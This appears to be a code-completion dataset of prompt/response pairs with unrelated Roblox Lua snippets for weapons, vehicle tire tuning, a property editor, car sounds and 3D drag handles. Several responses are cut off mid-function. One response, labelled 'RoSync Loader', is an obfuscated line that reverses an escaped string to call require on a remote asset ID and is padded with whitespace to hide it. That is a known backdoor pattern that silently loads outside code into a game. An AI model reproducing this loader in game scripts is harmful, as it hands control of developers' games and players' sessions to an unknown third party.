Prompt: -- Unequip logic here

Response:
function OnUnequipped()
	Handle.UnequipSound:Play()
	Handle.EquipSound:Stop()
	Handle.EquipSound2:Stop()
	LeftButtonDown = false
	flare.MuzzleFlash.Enabled = false
	Reloading = false
	MyCharacter = nil
	MyHumanoid = nil
	MyTorso = nil
	MyPlayer = nil
	MyMouse = nil
	if OnFireConnection then
		OnFireConnection:disconnect()
	end
	if OnReloadConnection then
		OnReloadConnection:disconnect()
	end
	if FlashHolder then
		FlashHolder = nil
	end
	if WeaponGui then
		WeaponGui.Parent = nil
		WeaponGui = nil
	end
	if RecoilTrack then
		RecoilTrack:Stop()
	end
	if ReloadTrack then
		ReloadTrack:Stop()
	end
end

local function SetReticleColor(color)
	if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then
		for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
			if line:IsA('Frame') then
				line.BorderColor3 = color
			end
		end
	end
end

Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
	wait(0.033)
	if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and MyMouse then
		WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
		SetReticleColor(NeutralReticleColor)

		local target = MyMouse.Target
		if target and target.Parent then
			local player = PlayersService:GetPlayerFromCharacter(target.Parent)
			if player then
				if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
					SetReticleColor(EnemyReticleColor)
				else
					SetReticleColor(FriendlyReticleColor)
				end
			end
		end
	end
	if Spread and not IsShooting then
		local currTime = time()
		if currTime - LastSpreadUpdate > FireRate * 2 then
			LastSpreadUpdate = currTime
			Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
			UpdateCrosshair(Spread, MyMouse)
		end
	end
end


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 10 -- cooldown for use of the tool again

ZoneModelName = "virus" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt: -- connect events

Response:
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)
local runService = game:GetService("RunService");
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
while true do
wait(0)
local _,time = wait(0)
move(time)
end


Prompt: -- Resolve a promise once the signal is fired once

Response:
function Signal:Promise(predicate)
	return Promise.FromEvent(self, predicate)
end

function Signal:Destroy()
	self:DisconnectAll()
	local proxyHandler = rawget(self, "_proxyHandler")
	if proxyHandler then
		proxyHandler:Disconnect()
	end
end


Prompt: --Tune

Response:
local _Select = "SemiSlicks" --(AllSeason, Slicks, SemiSlicks, AllTerrain, DragRadials, Custom) Caps and space sensitive

local _Custom = {

	TireWearOn         = true    ,

    --Friction and Wear
    FWearSpeed        = .2    , --How fast your tires will degrade (Front)
    FTargetFriction    = .58   , --Friction in optimal conditions (Front)
    FMinFriction     = 0.35   , --Friction in worst conditions (Front)

    RWearSpeed        = .2    , --How fast your tires will degrade (Rear)
    RTargetFriction    = .63  ,  --Friction in optimal conditions (Rear)
    RMinFriction    = 0.35    , --Friction in worst conditions (Rear)

    --Tire Slip
    TCSOffRatio        = 1     , --How much optimal grip your car will lose with TCS off, set to 1 if you dont want any losses.
    WheelLockRatio    = 1/6    , --How much grip your car will lose when locking the wheels
    WheelspinRatio    = 1/1.2  , --How much grip your car will lose when spinning the wheels

    --Wheel Properties
    FFrictionWeight    = 2      , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front) (PGS)
    RFrictionWeight    = 2      , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear) (PGS)
    FLgcyFrWeight    = 0        , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front)
    RLgcyFrWeight    = 0        , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear)

    FElasticity        = 0     , --How much your wheel will bounce (Front) (PGS)
    RElasticity        = 0     , --How much your wheel will bounce (Rear) (PGS)
    FLgcyElasticity    = 0     , --How much your wheel will bounce (Front)
    RLgcyElasticity    = 0     , --How much your wheel will bounce (Rear)

    FElastWeight    = 1      , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front) (PGS)
    RElastWeight    = 1      , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear) (PGS)
    FLgcyElWeight    = 10    , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front)
    RLgcyElWeight    = 10    , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear)

    --Wear Regen
    RegenSpeed        = 3.6		, --Don't change this
}

local _AllSeason = {

	TireWearOn         = true    ,

    --Friction and Wear
    FWearSpeed        = .2    , --Don't change this
    FTargetFriction    = .6   , -- .58 to .63
    FMinFriction     = 0.35   , --Don't change this

    RWearSpeed        = .2    , --Don't change this
    RTargetFriction    = .6  , -- .58 to .63
    RMinFriction    = 0.35    , --Don't change this

    --Tire Slip
    TCSOffRatio        = 1     , --Don't change this
    WheelLockRatio    = 1/6    , --Don't change this
    WheelspinRatio    = 1/1.2  ,  --Don't change this

    --Wheel Properties
    FFrictionWeight    = 2      , --Don't change this
    RFrictionWeight    = 2      , --Don't change this
    FLgcyFrWeight    = 0        , --Don't change this
    RLgcyFrWeight    = 0        , --Don't change this

    FElasticity        = 0     , --Don't change this
    RElasticity        = 0     , --Don't change this
    FLgcyElasticity    = 0     , --Don't change this
    RLgcyElasticity    = 0     , --Don't change this

    FElastWeight    = 1      , --Don't change this
    RElastWeight    = 1      , --Don't change this
    FLgcyElWeight    = 10    , --Don't change this
    RLgcyElWeight    = 10    , --Don't change this

    --Wear Regen
    RegenSpeed        = 3.6		, --Don't change this
}

local _Slicks = {

	TireWearOn         = true    ,

    --Friction and Wear
    FWearSpeed        = .6    , --Don't change this
    FTargetFriction    = .93   , -- .88 to .93
    FMinFriction     = 0.35   , --Don't change this

    RWearSpeed        = .6    , --Don't change this
    RTargetFriction    = .93  , -- .88 to .93
    RMinFriction    = 0.35    , --Don't change this

    --Tire Slip
    TCSOffRatio        = 1     , --Don't change this
    WheelLockRatio    = 1/6    , --Don't change this
    WheelspinRatio    = 1/1.2  ,  --Don't change this

    --Wheel Properties
    FFrictionWeight    = 0.6      , --Don't change this
    RFrictionWeight    = 0.6      , --Don't change this
    FLgcyFrWeight    = 0        , --Don't change this
    RLgcyFrWeight    = 0        , --Don't change this

    FElasticity        = 0     , --Don't change this
    RElasticity        = 0     , --Don't change this
    FLgcyElasticity    = 0     , --Don't change this
    RLgcyElasticity    = 0     , --Don't change this

    FElastWeight    = 1      , --Don't change this
    RElastWeight    = 1      , --Don't change this
    FLgcyElWeight    = 10    , --Don't change this
    RLgcyElWeight    = 10    , --Don't change this

    --Wear Regen
    RegenSpeed        = 3.6		, --Don't change this
}

local _SemiSlicks = {

	TireWearOn         = true    ,

    --Friction and Wear
    FWearSpeed        = .5    , --Don't change this
    FTargetFriction    = .78   , -- .73 to .78
    FMinFriction     = 0.35   , --Don't change this

    RWearSpeed        = .5    , --Don't change this
    RTargetFriction    = .78  , -- .73 to .78
    RMinFriction    = 0.35    , --Don't change this

    --Tire Slip
    TCSOffRatio        = 1     , --Don't change this
    WheelLockRatio    = 1/6    , --Don't change this
    WheelspinRatio    = 1/1.2  ,  --Don't change this

    --Wheel Properties
    FFrictionWeight    = 0.6      , --Don't change this
    RFrictionWeight    = 0.6      , --Don't change this
    FLgcyFrWeight    = 0        , --Don't change this
    RLgcyFrWeight    = 0        , --Don't change this

    FElasticity        = 0     , --Don't change this
    RElasticity        = 0     , --Don't change this
    FLgcyElasticity    = 0     , --Don't change this
    RLgcyElasticity    = 0     , --Don't change this

    FElastWeight    = 1      , --Don't change this
    RElastWeight    = 1      , --Don't change this
    FLgcyElWeight    = 10    , --Don't change this
    RLgcyElWeight    = 10    , --Don't change this

    --Wear Regen
    RegenSpeed        = 3.6		, --Don't change this
}

local _AllTerrain = {

	TireWearOn         = true    ,

    --Friction and Wear
    FWearSpeed        = .3    , --Don't change this
    FTargetFriction    = .5   , -- .48 to .53
    FMinFriction     = 0.35   , --Don't change this

    RWearSpeed        = .3    , --Don't change this
    RTargetFriction    = .5  , -- .48 to .53
    RMinFriction    = 0.35    , --Don't change this

    --Tire Slip
    TCSOffRatio        = 1     , --Don't change this
    WheelLockRatio    = 1/6    , --Don't change this
    WheelspinRatio    = 1/1.2  ,  --Don't change this

    --Wheel Properties
    FFrictionWeight    = 10      , --Don't change this
    RFrictionWeight    = 10      , --Don't change this
    FLgcyFrWeight    = 0        , --Don't change this
    RLgcyFrWeight    = 0        , --Don't change this

    FElasticity        = 0     , --Don't change this
    RElasticity        = 0     , --Don't change this
    FLgcyElasticity    = 0     , --Don't change this
    RLgcyElasticity    = 0     , --Don't change this

    FElastWeight    = 1      , --Don't change this
    RElastWeight    = 1      , --Don't change this
    FLgcyElWeight    = 10    , --Don't change this
    RLgcyElWeight    = 10    , --Don't change this

    --Wear Regen
    RegenSpeed        = 3.6		, --Don't change this
}

local _DragRadials = {

	TireWearOn         = true    ,

    --Friction and Wear
    FWearSpeed        = 30    , --Don't change this
    FTargetFriction    = 1.2   , -- 1.18 to 1.23
    FMinFriction     = 0.35   , --Don't change this

    RWearSpeed        = 30    , --Don't change this
    RTargetFriction    = 1.2  , -- 1.18 to 1.23
    RMinFriction    = 0.35    , --Don't change this

    --Tire Slip
    TCSOffRatio        = 1     , --Don't change this
    WheelLockRatio    = 1/6    , --Don't change this
    WheelspinRatio    = 1/1.2  ,  --Don't change this

    --Wheel Properties
    FFrictionWeight    = 1      , --Don't change this
    RFrictionWeight    = 1      , --Don't change this
    FLgcyFrWeight    = 0        , --Don't change this
    RLgcyFrWeight    = 0        , --Don't change this

    FElasticity        = 0     , --Don't change this
    RElasticity        = 0     , --Don't change this
    FLgcyElasticity    = 0     , --Don't change this
    RLgcyElasticity    = 0     , --Don't change this

    FElastWeight    = 1      , --Don't change this
    RElastWeight    = 1      , --Don't change this
    FLgcyElWeight    = 10    , --Don't change this
    RLgcyElWeight    = 10    , --Don't change this

    --Wear Regen
    RegenSpeed        = 20		, --Don't change this
}

local car = script.Parent.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local cValues = script.Parent.Parent:WaitForChild("Values")
local _WHEELTUNE = _AllSeason

if _Select == "DragRadials" then
	_WHEELTUNE = _DragRadials
elseif _Select == "Custom" then
	_WHEELTUNE = _Custom
elseif _Select == "AllTerrain" then
	_WHEELTUNE = _AllTerrain
elseif _Select == "Slicks" then
	_WHEELTUNE = _Slicks
elseif _Select == "SemiSlicks" then
	_WHEELTUNE = _SemiSlicks
else
	_WHEELTUNE = _AllSeason
end

car.DriveSeat.TireStats.Fwear.Value = _WHEELTUNE.FWearSpeed
car.DriveSeat.TireStats.Ffriction.Value = _WHEELTUNE.FTargetFriction
car.DriveSeat.TireStats.Fminfriction.Value = _WHEELTUNE.FMinFriction
car.DriveSeat.TireStats.Ffweight.Value = _WHEELTUNE.FFrictionWeight

car.DriveSeat.TireStats.Rwear.Value = _WHEELTUNE.RWearSpeed
car.DriveSeat.TireStats.Rfriction.Value = _WHEELTUNE.RTargetFriction
car.DriveSeat.TireStats.Rminfriction.Value = _WHEELTUNE.RMinFriction
car.DriveSeat.TireStats.Rfweight.Value = _WHEELTUNE.RFrictionWeight

car.DriveSeat.TireStats.TCS.Value = _WHEELTUNE.TCSOffRatio
car.DriveSeat.TireStats.Lock.Value = _WHEELTUNE.WheelLockRatio
car.DriveSeat.TireStats.Spin.Value = _WHEELTUNE.WheelspinRatio
car.DriveSeat.TireStats.Reg.Value = _WHEELTUNE.RegenSpeed


Prompt: --RbxApi

Response:
local function PropertyIsHidden(propertyData)
	local tags = propertyData["Tags"]
	if tags then
		for _,name in pairs(tags) do
			if name == "Deprecated" or name == "Hidden" or name == "ReadOnly" or name == "NotScriptable" then
				return true
			end
		end
	end
	return false
end

function Set(object, propertyData, value)
	local propertyName = propertyData["Name"]
	local propertyType = propertyData["ValueType"]

	if value == nil then return end

	for i,v in pairs(GetSelection()) do
		if CanEditProperty(v,propertyData) then
			pcall(function()
				--print("Setting " .. propertyName .. " to " .. tostring(value))
				v[propertyName] = value
				RemoteEvent:InvokeServer("SetProperty", v, propertyName, value)
			end)
		end
	end

end

function CreateRow(object, propertyData, isAlternateRow)
	local propertyName = propertyData["Name"]
	local propertyValue = object[propertyName]
	--rowValue, rowValueType, isAlternate
	local backColor = Row.BackgroundColor;
	if (isAlternateRow) then
		backColor = Row.BackgroundColorAlternate
	end

	local readOnly = not CanEditProperty(object, propertyData)
	--if propertyType == "Instance" or propertyName == "Parent" then readOnly = true end

	local rowFrame = Instance.new("Frame")
	rowFrame.Size = UDim2.new(1,0,0,Row.Height)
	rowFrame.BackgroundTransparency = 1
	rowFrame.Name = 'Row'

	local propertyLabelFrame = CreateCell()
	propertyLabelFrame.Parent = rowFrame
	propertyLabelFrame.ClipsDescendants = true

	local propertyLabel = CreateLabel(readOnly)
	propertyLabel.Text = propertyName
	propertyLabel.Size = UDim2.new(1, -1 * Row.TitleMarginLeft, 1, 0)
	propertyLabel.Position = UDim2.new(0, Row.TitleMarginLeft, 0, 0)
	propertyLabel.Parent = propertyLabelFrame

	local propertyValueFrame = CreateCell()
	propertyValueFrame.Size = UDim2.new(0.5, -1, 1, 0)
	propertyValueFrame.Position = UDim2.new(0.5, 0, 0, 0)
	propertyValueFrame.Parent = rowFrame

	local control = GetControl(object, propertyData, readOnly)
	control.Parent = propertyValueFrame

	rowFrame.MouseEnter:connect(function()
		propertyLabelFrame.BackgroundColor3 = Row.BackgroundColorMouseover
		propertyValueFrame.BackgroundColor3 = Row.BackgroundColorMouseover
	end)
	rowFrame.MouseLeave:connect(function()
		propertyLabelFrame.BackgroundColor3 = backColor
		propertyValueFrame.BackgroundColor3 = backColor
	end)

	propertyLabelFrame.BackgroundColor3 = backColor
	propertyValueFrame.BackgroundColor3 = backColor

	return rowFrame
end

function ClearPropertiesList()
	for _,instance in pairs(ContentFrame:GetChildren()) do
		instance:Destroy()
	end
end

local selection = Gui:FindFirstChild("Selection", 1)

function displayProperties(props)
	for i,v in pairs(props) do
		pcall(function()
			local a = CreateRow(v.object, v.propertyData, ((numRows % 2) == 0))
			a.Position = UDim2.new(0,0,0,numRows*Row.Height)
			a.Parent = ContentFrame
			numRows = numRows + 1
		end)
	end
end

function checkForDupe(prop,props)
	for i,v in pairs(props) do
		if v.propertyData.Name == prop.Name and v.propertyData.ValueType.Category == prop.ValueType.Category and v.propertyData.ValueType.Name == prop.ValueType.Name then
			return true
		end
	end
	return false
end

function sortProps(t)
	table.sort(t,
		function(x,y) return x.propertyData.Name < y.propertyData.Name
	end)
end

function showProperties(obj)
	ClearPropertiesList()
	if obj == nil then return end
	local propHolder = {}
	local foundProps = {}
	numRows = 0
	for _,nextObj in pairs(obj) do
		if not foundProps[nextObj.className] then
			foundProps[nextObj.className] = true
			for i,v in pairs(RbxApi.GetProperties(nextObj.className)) do
				local suc, err = pcall(function()
					if not (PropertyIsHidden(v)) and not checkForDupe(v,propHolder) then
						if string.find(string.lower(v.Name),string.lower(propertiesSearch.Text)) or not searchingProperties() then
							table.insert(propHolder,{propertyData = v, object = nextObj})
						end
					end
				end)
				--[[if not suc then
					warn("Problem getting the value of property " .. v.Name .. " | " .. err)
				end	--]]
			end
		end
	end
	sortProps(propHolder)
	displayProperties(propHolder)
	ContentFrame.Size = UDim2.new(1, 0, 0, numRows * Row.Height)
	scrollBar.ScrollIndex = 0
	scrollBar.TotalSpace = numRows * Row.Height
	scrollBar.Update()
end


Prompt: --Variable for the current camera

Response: local cc = workspace.CurrentCamera


Response:
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = Tool.Handle
SlashSound.Volume = .7

function blow(hit)
	local humanoid = hit.Parent:findFirstChild("Humanoid")
	if not humanoid then return end
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
	if humanoid ~= hum and hum ~= nil and game.Players:playerFromCharacter(humanoid.Parent) and game.Players:playerFromCharacter(humanoid.Parent).TeamColor~=cc then
		tagHumanoid(humanoid, vPlayer)
		humanoid:TakeDamage(160)
		wait(1)
		untagHumanoid(humanoid)
	end
end

function tagHumanoid(humanoid, player)
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = player
	creator_tag.Name = "creator"
	creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

function lunge()
	SlashSound:play()

	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Lunge"
	anim.Parent = Tool


Prompt:
--[[
		___      _______                _
	   / _ |____/ ___/ /  ___ ____ ___ (_)__
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]

Response:
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0

script:WaitForChild("Rev")

if not FE then
	for i,v in pairs(car.DriveSeat:GetChildren()) do
		for _,a in pairs(script:GetChildren()) do
			if v.Name==a.Name then v:Stop() wait() v:Destroy() end
		end
	end
	for i,v in pairs(script:GetChildren()) do
		v.Parent=car.DriveSeat
	end

	car.DriveSeat.Rev:Play()

	while wait() do
		local _RPM = script.Parent.Values.RPM.Value

		if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
		car.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2
	end
else
	local handler = car.AC6_FE_Sounds
	handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
	handler:FireServer("playSound","Rev")
	local pitch=0
	while wait() do
		local _RPM = script.Parent.Values.RPM.Value

		if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
		pitch = (script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2
		handler:FireServer("updateSound","Rev",script.Rev.SoundId,pitch,script.Rev.Volume)
	end
end


Prompt: --!strict

Response:
return function (system, particleRef)
	warn("Particle Died, Info Follows")
	warn("CFrame:", particleRef.CFrame)
	warn("Color:", particleRef.Color)
	warn("Children:", particleRef.Children)
end


Prompt: --NOTE: We create the rocket once and then clone it when the player fires

Response:
local Rocket = Instance.new('Part') do
	-- Set up the rocket part
	Rocket.Name = 'Rocket'
	Rocket.FormFactor = Enum.FormFactor.Custom --NOTE: This must be done before changing Size
	Rocket.Size = ROCKET_PART_SIZE
	Rocket.CanCollide = false

	-- Add the mesh
	local mesh = Instance.new('SpecialMesh', Rocket)
	mesh.MeshId = MISSILE_MESH_ID
	mesh.Scale = MISSILE_MESH_SCALE

	-- Add fire
	local fire = Instance.new('Fire', Rocket)
	fire.Heat = 5
	fire.Size = 2

	-- Add a force to counteract gravity
	local bodyForce = Instance.new('BodyForce', Rocket)
	bodyForce.Name = 'Antigravity'
	bodyForce.force = Vector3.new(0, Rocket:GetMass() * GRAVITY_ACCELERATION, 0)

	-- Clone the sounds and set Boom to PlayOnRemove
	local swooshSoundClone = SwooshSound:Clone()
	swooshSoundClone.Parent = Rocket
	local boomSoundClone = BoomSound:Clone()
	boomSoundClone.PlayOnRemove = true
	boomSoundClone.Parent = Rocket

	-- Finally, clone the rocket script and enable it


Prompt: -- declarations

Response:
local head = script.Parent
local sound = head:findFirstChild("Victory")

function onTouched(part)
	local h = part.Parent:findFirstChild("Humanoid")
	if h~=nil then
sound:play()
if part.Parent:findFirstChild("Head"):findFirstChild("face").Texture == nil then return end
part.Parent:findFirstChild("Head"):findFirstChild("face").Texture="717dea9c5a1659640155f77c84892c "	end
end

script.Parent.Touched:connect(onTouched)


Prompt: --[[ Last synced 10/19/2020 07:18                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                ]]--


Prompt: -- Create class

Response:
local Handles = {}
Handles.__index = Handles

function Handles.new(Options)
    local self = setmetatable({}, Handles)

    -- Create maid for cleanup on destroyal
    self.Maid = Maid.new()

    -- Create UI container
    local Gui = Instance.new('ScreenGui')
    self.Gui = Gui
    Gui.Name = 'BTHandles'
    Gui.IgnoreGuiInset = true
    self.Maid.Gui = Gui

    -- Create interface
    self.IsMouseAvailable = UserInputService.MouseEnabled
    self:CreateHandles(Options)

    -- Get camera and viewport information
    self.Camera = Workspace.CurrentCamera
    self.GuiInset = GuiService:GetGuiInset()

    -- Get list of ignorable handle obstacles
    self.ObstacleBlacklistIndex = Support.FlipTable(Options.ObstacleBlacklist or {})
    self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex)

    -- Enable handle
    self:SetAdornee(Options.Adornee)
    self.Gui.Parent = Options.Parent

    -- Return new handles
    return self
end

function Handles:CreateHandles(Options)
    self.Handles = {}
    self.HandleStates = {}

    -- Generate a handle for each side
    for _, Side in ipairs(Enum.NormalId:GetEnumItems()) do

        -- Create handle
        local Handle = Instance.new('ImageButton')
        Handle.Name = Side.Name
        Handle.Image = 'rbxassetid://2347145012'
        Handle.ImageColor3 = Options.Color
        Handle.ImageTransparency = 0.33
        Handle.AnchorPoint = Vector2.new(0.5, 0.5)
        Handle.BackgroundTransparency = 1
        Handle.BorderSizePixel = 0
        Handle.ZIndex = 1

        -- Create handle dot
        local HandleDot = Handle:Clone()
        HandleDot.Active = false
        HandleDot.Size = UDim2.new(0, 4, 0, 4)
        HandleDot.Position = UDim2.new(0.5, 0, 0.5, 0)
        HandleDot.Parent = Handle
        HandleDot.ZIndex = 0

        -- Create maid for handle cleanup
        local HandleMaid = Maid.new()
        self.Maid[Side.Name] = HandleMaid

        -- Add handle hover effect
        HandleMaid.HoverStart = Handle.MouseEnter:Connect(function ()
            Handle.ImageTransparency = 0
        end)
        HandleMaid.HoverEnd = Handle.MouseLeave:Connect(function ()
            Handle.ImageTransparency = 0.33
        end)

        -- Listen for handle interactions on click
        HandleMaid.DragStart = Handle.MouseButton1Down:Connect(function (X, Y)
            local HandleState = self.HandleStates[Handle]
            local HandlePlane = HandleState.PlaneNormal
            local HandleNormal = HandleState.HandleNormal
            local HandleWorldPoint = HandleState.HandleCFrame.Position
            local HandleAxisLine = (HandleState.HandleViewportPosition - HandleState.AdorneeViewportPosition).Unit

            -- Project viewport aim point onto 2D handle axis line
            local AimAdorneeViewportOffset = Vector2.new(X, Y) - HandleState.AdorneeViewportPosition
            local MappedViewportPointOnAxis = HandleAxisLine:Dot(AimAdorneeViewportOffset) * HandleAxisLine +
                HandleState.AdorneeViewportPosition

            -- Map projected viewport aim point onto 3D handle axis line
            local AimRay = self.Camera:ViewportPointToRay(MappedViewportPointOnAxis.X, MappedViewportPointOnAxis.Y)
            local AimDistance = (HandleWorldPoint - AimRay.Origin):Dot(HandlePlane) / AimRay.Direction:Dot(HandlePlane)
            local AimWorldPoint = (AimDistance * AimRay.Direction) + AimRay.Origin

            -- Calculate dragging distance offset
            local DragDistanceOffset = HandleNormal:Dot(AimWorldPoint - HandleWorldPoint)

            -- Run drag start callback
            if Options.OnDragStart then
                Options.OnDragStart()
            end

            local function ProcessDragChange(AimScreenPoint)
                local HandleAxisLine = (HandleState.HandleViewportPosition - HandleState.AdorneeViewportPosition).Unit

                -- Project screen aim point onto 2D handle axis line
                local AdorneeScreenPosition = HandleState.AdorneeViewportPosition - self.GuiInset
                local AimAdorneeScreenOffset = Vector2.new(AimScreenPoint.X, AimScreenPoint.Y) - AdorneeScreenPosition
                local MappedScreenPointOnAxis = HandleAxisLine:Dot(AimAdorneeScreenOffset) * HandleAxisLine +
                    AdorneeScreenPosition

                -- Map projected screen aim point onto 3D handle axis line
                local AimRay = self.Camera:ScreenPointToRay(MappedScreenPointOnAxis.X, MappedScreenPointOnAxis.Y)
                local AimDistance = (HandleWorldPoint - AimRay.Origin):Dot(HandlePlane) / AimRay.Direction:Dot(HandlePlane)
                local AimWorldPoint = (AimDistance * AimRay.Direction) + AimRay.Origin

                -- Calculate distance dragged
                local DragDistance = HandleNormal:Dot(AimWorldPoint - HandleWorldPoint) - DragDistanceOffset

                -- Run drag step callback
                if Options.OnDrag then
                    Options.OnDrag(Side, DragDistance)
                end

            end

            -- Create maid for dragging cleanup
            local DragMaid = Maid.new()
            HandleMaid.Dragging = DragMaid

            -- Perform dragging when aiming anywhere (except handle)
            DragMaid.Drag = Support.AddUserInputListener('Changed', {'MouseMovement', 'Touch'}, true, function (Input)
                ProcessDragChange(Input.Position)
            end)

            -- Perform dragging while aiming at handle
            DragMaid.InHandleDrag = Handle.MouseMoved:Connect(function (X, Y)
                local AimScreenPoint = Vector2.new(X, Y) - self.GuiInset
                ProcessDragChange(AimScreenPoint)
            end)

            -- Finish dragging when input ends
            DragMaid.DragEnd = Support.AddUserInputListener('Ended', {'MouseButton1', 'Touch'}, true, function (Input)
                HandleMaid.Dragging = nil
            end)

            -- Fire callback when dragging ends
            DragMaid.Callback = function ()
                coroutine.wrap(Options.OnDragEnd)()
            end

        end)

        -- Finish dragging when input ends while aiming at handle
        HandleMaid.InHandleDragEnd = Handle.MouseButton1Up:Connect(function ()
            HandleMaid.Dragging = nil
        end)

        -- Save handle
        Handle.Parent = self.Gui
        self.Handles[Side.Name] = Handle

    end

end

function Handles:Hide()

    -- Make sure handles are enabled
    if not self.Running then
        return self
    end

    -- Pause updating
    self:Pause()

    -- Hide UI
    self.Gui.Enabled = false

end

function Handles:Pause()
    self.Running = false
end

local function IsFirstPerson(Camera)
    return (Camera.CFrame.p - Camera.Focus.p).magnitude <= 0.6
end

function Handles:Resume()

    -- Make sure handles are disabled
    if self.Running then
        return self
    end

    -- Allow handles to run
    self.Running = true

    -- Keep handle positions updated
    for Side, Handle in pairs(self.Handles) do
        local UnitVector = Vector3.FromNormalId(Side)
        coroutine.wrap(function ()
            while self.Running do
                self:UpdateHandle(Handle, UnitVector)
                RunService.RenderStepped:Wait()
            end
        end)()
    end

    -- Ignore character whenever character enters first person
    if Players.LocalPlayer then
        coroutine.wrap(function ()
            while self.Running do
                local FirstPerson = IsFirstPerson(self.Camera)
                local Character = Players.LocalPlayer.Character
                if Character then
                    self.ObstacleBlacklistIndex[Character] = FirstPerson and true or nil
                    self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex)
                end
                wait(0.2)
            end
        end)()
    end

    -- Show UI
    self.Gui.Enabled = true

end

function Handles:SetAdornee(Item)
    -- Return self for chaining

    -- Save new adornee
    self.Adornee = Item
    self.IsAdorneeModel = Item and (Item:IsA 'Model') or nil

    -- Resume handles
    if Item then
        self:Resume()
    else
        self:Hide()
    end

    -- Return handles for chaining
    return self

end

local function WorldToViewportPoint(Camera, Position)

    -- Get viewport position for point
    local ViewportPoint, Visible = Camera:WorldToViewportPoint(Position)
    local CameraDepth = ViewportPoint.Z
    ViewportPoint = Vector2.new(ViewportPoint.X, ViewportPoint.Y)

    -- Adjust position if point is behind camera
    if CameraDepth < 0 then
        ViewportPoint = Camera.ViewportSize - ViewportPoint
    end

    -- Return point and visibility
    return ViewportPoint, CameraDepth, Visible

end

function Handles:BlacklistObstacle(Obstacle)
    if Obstacle then
        self.ObstacleBlacklistIndex[Obstacle] = true
        self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex)
    end
end

function Handles:UpdateHandle(Handle, SideUnitVector)
    local Camera = self.Camera

    -- Hide handles if not attached to an adornee
    if not self.Adornee then
        Handle.Visible = false
        return
    end

    -- Get adornee CFrame and size
    local AdorneeCFrame = self.IsAdorneeModel and
        self.Adornee:GetModelCFrame() or
        self.Adornee.CFrame
    local AdorneeSize = self.IsAdorneeModel and
        self.Adornee:GetModelSize() or
        self.Adornee.Size

    -- Calculate radius of adornee extents along axis
    local AdorneeRadius = (AdorneeSize * SideUnitVector / 2).magnitude
    local SideCFrame = AdorneeCFrame * CFrame.new(AdorneeRadius * SideUnitVector)
    local AdorneeViewportPoint, AdorneeCameraDepth = WorldToViewportPoint(Camera, SideCFrame.p)
    local StudWidth = 2 * math.tan(math.rad(Camera.FieldOfView) / 2) * AdorneeCameraDepth
    local StudsPerPixel = StudWidth / Camera.ViewportSize.X
    local HandlePadding = math.max(1, StudsPerPixel * 14) * (self.IsMouseAvailable and 1 or 1.6)
    local PaddedRadius = AdorneeRadius + 2 * HandlePadding

    -- Calculate CFrame of the handle's side
    local HandleCFrame = AdorneeCFrame * CFrame.new(PaddedRadius * SideUnitVector)
    local HandleNormal = (HandleCFrame.p - AdorneeCFrame.p).unit
    local HandleViewportPoint, HandleCameraDepth, HandleVisible = WorldToViewportPoint(Camera, HandleCFrame.p)

    -- Display handle if side is visible to the camera
    Handle.Visible = HandleVisible

    -- Calculate handle size (12 px, or at least 0.5 studs)
    local StudWidth = 2 * math.tan(math.rad(Camera.FieldOfView) / 2) * HandleCameraDepth
    local PixelsPerStud = Camera.ViewportSize.X / StudWidth
